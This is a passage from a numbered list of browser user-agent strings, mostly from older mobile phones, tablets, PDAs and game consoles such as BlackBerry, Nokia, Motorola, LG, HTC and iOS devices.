32 | Mozilla/4.0 (PDA; SL-C750/1.0,Embedix/Qtopia/1.3.0) NetFront/3.0 Zaurus C750
33 | WM5 PIE
34 | Xiino/1.0.9E [en] (v. 4.1; 153x130; g4)
35 | Mozilla/5.0 (Linux; U; Android 3.2.1; en-gb; A501 Build/HTK55D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
36 | Opera/9.80 (Android 3.2.1; Linux; Opera Tablet/ADR-1205181138; U; en-GB) Presto/2.10.254 Version/12.00
37 | Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0
38 | Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0
39 | Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
40 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; MAAR; .NET4.0C)
41 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.45 Safari/535.19
42 | Mozilla/5.0 (Linux; Android 4.1.1; Transformer Prime TF201 Build/JRO03C) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19
43 | Mozilla/5.0 (Linux; U; Android 4.0.4; en-us; Transformer TF101 Build/IMM76I) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
44 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; VS840 4G Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
45 | Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; MB525 Build/3.4.2-107_JDN-9) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
46 | Mozilla/5.0 (Linux; U; Android 2.1-update1-1.0.19; en-us; NXM736 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
47 | Mozilla/5.0 (Linux; U; Android 2.2; de-de; U0101HA Build/FRF85B) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
48 | Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; SP-60 Build/MASTER) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
49 | Mozilla/5.0 (Linux; U; Android 2.2; en-gb; ViewPad7 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
50 | Mozilla/5.0 (Linux; U; Android 2.1-2010.11.4; de-de; XST2 Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
51 | Mozilla/5.0 (Linux; U; Android 1.0.3; de-de; A80KSC Build/ECLAIR) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
52 | Mozilla/5.0 (Linux; U; Android 2.2.1; en-au; eeepc Build/MASTER) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
53 | Mozilla/5.0 (Linux; U; Android 1.6; en-us; xpndr_ihome Build/DRD35) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
54 | Mozilla/5.0 (Linux; U; Android 2.2.1; fr-ch; A43 Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
55 | Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; X2 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
56 | Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25
57 | Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/25.0.1364.124 Mobile/10B146 Safari/8536.25
58 | Mozilla/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B147 Safari/8536.25
59 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25
60 | Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B206
61 | Mozilla/5.0 (iPod; CPU iPhone OS 5_1_1 like Mac OS X; nl-nl) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/21.0.1180.80 Mobile/9B206 Safari/7534.48.3
62 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3
63 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3
64 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3
65 | Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5
66 | Mozilla/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3
67 | iTunes/9.1.1
68 | Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5
69 | Mozilla/5.0 (iPad; U; CPU OS 4_3_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5
70 | Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5
71 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10
72 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_1_2 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7D11 Safari/528.16
73 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16
74 | Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3
75 | Opera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en)
76 | BenQ-CF61/1.00/WAP2.0/MIDP2.0/CLDC1.0 UP.Browser/6.3.0.4.c.1.102 (GUI) MMP/2.0
77 | MAUI WAP Browser
78 | Mozilla/5.0 (BB10; <Device Model>) AppleWebKit/<WebKit Version> (KHTML, like Gecko) Version/<BB Version #> Mobile Safari/<WebKit Version>
79 | Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.0.1; en-US) AppleWebKit/535.8+ (KHTML, like Gecko) Version/7.2.0.1 Safari/535.8+
80 | Mozilla/5.0 (PlayBook; U; RIM Tablet OS 2.0.0; en-US) AppleWebKit/535.8+ (KHTML, like Gecko) Version/7.2.0.0 Safari/535.8+
81 | Mozilla/5.0 (PlayBook; U; RIM Tablet OS 1.0.0; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.7 Safari/534.11+
82 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9700; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.448 Mobile Safari/534.8+
83 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9860; en-GB) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.296 Mobile Safari/534.11+
84 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9300; fr) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.570 Mobile Safari/534.8+
85 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.600 Mobile Safari/534.8+
86 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.246 Mobile Safari/534.1+
87 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+
88 | (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1+
89 | Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/530.17 (KHTML, like Gecko) Version/6.0.0.62 Mobile Safari/530.17
90 | BlackBerry9650/5.0.0.732 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/105
91 | BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123
92 | BlackBerry9630/4.7.1.40 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105
93 | BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102
94 | BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105
95 | BlackBerry8830/4.2.2 Profile/MIDP-2.0 Configuration/CLOC-1.1 VendorID/105
96 | BlackBerry8820/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102
97 | BlackBerry8703e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105
98 | BlackBerry8320/4.5.0.188 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100
99 | BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/106
100 | BlackBerry8320/4.3.1 Profile/MIDP-2.0 Configuration/CLDC-1.1
101 | BlackBerry8110/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/118
102 | Opera/9.50 (J2ME/MIDP; Opera Mini/4.0.10031/298; U; en)
103 | BlackBerry8130/4.5.0.89 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/106
104 | BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103
105 | BlackBerry7130e/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/104
106 | BlackBerry7250/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
107 | Mozilla/4.0 (compatible; MSIE 5.5; Windows NT) (compatible; MSIE 5.5; Windows NT)
108 | Cricket-A310/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0
109 | Cricket-A410/1.0 Polaris/v6.17
110 | Cricket-A200/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0
111 | Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Wireless Transcoder) Version/3.1 Safari/525.13 T
112 | Cricket-A200/1.0 UP.Browser/6.3.0.7 (GUI) MMP/2.0
113 | Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; DELL; Venue Pro)
114 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/ 3.1.2 Safari/525.20.1
115 | Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20
116 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
117 | Mozilla/5.0 (Linux; U; Android 4.1.1; he-il; Nexus 7 Build/JRO03D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
118 | Mozilla/5.0 (Linux; U; Android 2.3.4; fr-fr; Nexus S Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
119 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus One Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
120 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
121 | Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
122 | Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0
123 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)
124 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
125 | Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)
126 | Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Sensation_Z710e Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
127 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; ADR6300 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
128 | Mozilla/5.0 (Linux; U; Android 1.5; en-us; ADR6200 Build/CUPCAKE) AppleWebKit/528.5+(KHTML, like Gecko) Version/3.1.2
129 | Mozilla/5.0 (Linux; U; Android 4.0.4; es-mx; HTC_One_X Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0
130 | HTC_Touch_HD_T8282 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)
131 | Mozilla/4.0 (compatible: MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; 7 Trophy)
132 | Mozilla/4.0 (compatible: MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; 7 Trophy)
133 | Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; T-Mobile G2 Build/GRJ22) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
134 | Mozilla/5.0 (Linux; U; Android 2.3.3; pl-pl; HTC Vision Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
135 | Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; HD7)
136 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
137 | Mozilla/5.0 (Linux; U; Android 1.6; en-us; WOWMobile myTouch 3G Build/unknown) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
138 | Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; HTC; 7 Mozart; Orange)
139 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5.3.5)
140 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.6) PPC; MDA Vario/3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
141 | HTC_HD2_T8585 Opera/9.7 (Windows NT 5.1; U; en)
142 | Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
143 | Mozilla/5.0 (Linux; U; Android 2.2; nl-nl; Desire_A8181 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
144 | Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; ADR6300 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
145 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HTC_Touch_Diamond2_T5353; Windows Phone 6.5)
146 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 8.12; MSIEMobile 6.0) USCCHTC6875
147 | XV6850 Opera/9.50 (Windows NT 5.1; U; en)
148 | Modzilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) 480x640; XV6850; Window Mobile 6.1 Professional;
149 | HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0
150 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5) UP.Link/6.3.1.17.0
151 | htc_touch_pro2_t7373 opera/9.50 (windows nt 5.1; u; de)
152 | HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
153 | HTC-P4600/1.2 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11) UP.Link/6.3.1.17.0
154 | HTC_Touch_Pro_T7272 Opera/9.50 (Windows NT 5.1; U; en)
155 | Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)
156 | Mozilla/5.0 (Linux; U; Android 2.3.6; en-gb; U8815 Build/HuaweiU8815C02B895) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
157 | Mozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) Version/4.0 Kindle/3.0 (screen 600x800; rotate)
158 | Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us; Silk/1.1.0-84) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 Silk-Accelerated=true
159 | Mozilla/5.0 (Linux; U; en-US) AppleWebKit/528.5+ (KHTML, like Gecko,
160 | Safari/528.5+) Version/4.0 Kindle/3.0 (screen 600X800; rotate)
161 | Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800)
162 | Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; IdeaTab A2107A-H Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
163 | LGE-LG290C/1.0[TF268435459307028557000000012602392946] UP.Browser/6.2.3.8 (GUI) MMP/2.0
164 | Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; VM670 Build/FRG83G) AppleWebKit/533.1 (KHTML, like Gecko)
165 | LG-LG260 POLARIS-LG260/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
166 | LGE-LG290C/1.0[TF268435459307087980000000012298546358] UP.Browser/6.2.3.8 (GUI) MMP/2.0
167 | Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; VS910 4G Build/VS910ZV6) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
168 | Mozilla/5.0 (Linux; U; Android 2.2.2; en-us; VS910 4G Build/VS910ZV6) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
169 | Mozilla/5.0 (Linux; U; Android 2.3.5; en-us; LG-VM670 Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
170 | Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; LG-MS690 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
171 | LG-GT400/v10a Browser/Teleca-Q7.1 MMS/LG-MMS-V1.0/1.2 MediaPlayer/LGPlayer/1.0 Java/ASVM/1.1 Profile/MIDP-2.1 Configuration/CLDC-1.1
172 | LG-GS290/V100 Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1
173 | Mozilla/5.0 (Linux; U; Android 2.2.1; de-de; LG-P350 Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 MMS/LG-Android-MMS-V1.0/1.2
174 | LGE-VM510 NetFront/3.5.1 (GUI) MMP/2.0
175 | LG/KU990i/v10a Browser/Obigo-Q05A/3.6 MMS/LG-MMS-V1.0/1.2 Java/ASVM/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
176 | LG-CT810/V10x IEMobile/7.11 Profile/MIDP-2.0 Configuration/CLDC-1.1 Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 7.11)
177 | POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1
178 | Mozilla/5.0 (compatible; Teleca Q7; Brew 3.1.5; U; en) 240X400 LGE VX9700
179 | LGE-MX380/1.0 UP.Browser/6.2.3.9 (GUI) MMP/2.0
180 | Mozilla/4.1 (compatible; MSIE 6.0; ) 400x240 LGE VX10000
181 | LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1
182 | MOT-EX431G/[TF359486041364033384919913852428475] Obigo/Q03C MMP/2.0
183 | Mozilla/5.0 (Linux; U; Android 1.5; en-us; MB501 Build/CUPCAKE) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1
184 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Windows Phone 6.5.3.5)
185 | Mozilla/5.0 (Linux; U; Android 2.2.1; fr-ca; Milestone Build/ SHOLS_U2_05.26.1) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
186 | Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C)
187 | Mozilla/5.0 (Linux; U; Android 3.0.1; de-de; MZ601 Build/H.6.1-38-5) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
188 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 Build/VZW) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 480X854 motorola DROID2
189 | Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; Xoom Build/HWI69) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
190 | Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13
191 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
192 | Mozilla/5.0 (Linux; U; Android 2.2; en-us; DROID2 GLOBAL Build/S273) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
193 | Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; DROIDX Build/VZW) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17 480X854 motorola DROIDX
194 | MOT-COOL0/00.62 UP.Browser/6.2.3.4.c.1.128 (GUI) MMP/2.0
195 | Mozilla/5.0 (Linux; U; Android 2.1-update1; en-us; Droid Build/ESE81) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17
196 | Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/ 530.17
197 | MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0
198 | MOT 24.1 _/00.62 UP.Browser/6.2.3.4.c.1.120 (GUI) MMP/2.0
199 | MOT-L6/0A.52.45R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1
200 | MOT-V3r/08.BD.43R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1
201 | MOT-V3i/08.B4.34R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0
202 | MOT-A-1C/01.01 UP.Browser/7.0.0.2.c.1.104 (GUI) MMP/2.0 UP.Link/5.1.2.16
203 | MOT-V620/0E.65.25R MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0 UP.Link/6.3.1.12.0
204 | MOT-V600/0B.09.38R MIB/2.2 Profile/MIDP-2.0 Configuration/CLDC-1.0
205 | MOT-E398/0E.20.97R MIB/2.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1
206 | mot-V3/OE.40.79R MIB/2.2.1 profile/MIDP-2.0 configuration/CLDC-1.0 UP.Link/6.2.3.15.0
207 | Mozilla/2.0 (compatible; MSIE 3.02; Windows CE; Smartphone; 176x220)
208 | Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7498.EU
209 | Mozilla/5.0 (Nintendo 3DS; U; ; en) Version/1.7455.EU
210 | Opera/9.30 (Nintendo Wii; U; ; 2047-7; en)
211 | Opera/9.10 (Nintendo Wii; U; ; 1621; en)
212 | Opera/9.00 (Nintendo Wii; U; ; 1309-9; en)
213 | Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [en
214 | Mozilla/4.0 (compatible; MSIE 6.0; Nitro) Opera 8.50 [ja]
215 | Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 710)
216 | Nokia2700c-2/2.0 (09.80) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0(Java; U; MIDP-2.0; en-US; nokia2700c-2) U2/1.0.0 UCBrowser/8.8.1.252 U2/1.0.0 Mobile
217 | Nokia2760/2.0 (06.82) Profile/MIDP-2.1 Configuration/CLDC-1.1
218 | Nokia2700c-2/2.0 (07.80) Profile/MIDP-2.1 Configuration/CLDC-1.1 nokia2700c-2/UC Browser7.7.1.88/69/444 UNTRUSTED/1.0
219 | Opera/9.80 (J2ME/MIDP; Opera Mini/4.1.15082/22.414; U; en) Presto/2.5.25 Version/10.54
220 | Nokia3120Classic/2.0 (06.20) Profile/MIDP-2.1 Configuration/CLDC-1.1
221 | Opera/8.0.1 (J2ME/MIDP; Opera Mini/3.1.9427/1724; en; U; ssr)
222 | Nokia3200/1.0 (5.29) Profile/MIDP-1.0 Configuration/CLDC-1.0 UP.Link/6.3.1.13.0
223 | Nokia3510i/1.0 (04.44) Profile/MIDP-1.0 Configuration/CLDC-1.0
224 | Nokia3650/1.0 SymbianOS/6.1 Series60/1.2 Profile/MIDP-1.0 Configuration/CLDC-1.0
225 | Mozilla/4.0 (compatible; MSIE 4.0; SmartPhone; Symbian OS/1.1.0) Netfront/3.1
226 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5800d-1/60.0.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.33 Mobile Safari/533.4 3gpp-gba
227 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5230/40.0.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.4 3gpp-gba
228 | Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 Nokia5800d-1/50.0.005; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.3
229 | Nokia5130c-2/2.0 (07.97) Profile/MIDP-2.1 Configuration/CLDC-1.1 nokia5130c-2/UC Browser7.5.1.77/69/351 UNTRUSTED/1.0
230 | Nokia5140/2.0 (3.10) Profile/MIDP-2.0 Configuration/CLDC-1.1
231 | Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Nokia5800d-1b/20.2.014; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413
232 | Nokia6212 classic/2.0 (06.20) Profile/MIDP-2.1 Configuration/CLDC-1.1
233 | Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.83; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413
234 | Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; Nokia 6680/5.04.07; 9399) Opera 8.65 [en]
235 | Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es61i
236 | Nokia6230/2.0+(04.43)+Profile/MIDP-2.0+Configuration/CLDC-1.1+UP.Link/6.3.0.0.0
237 | Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1
238 | Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;432) Opera 6.10 [en]
239 | Nokia6600/1.0 (5.27.0) SymbianOS/7.0s Series60/2.0 Profile/MIDP-2.0 Configuration/CLDC-1
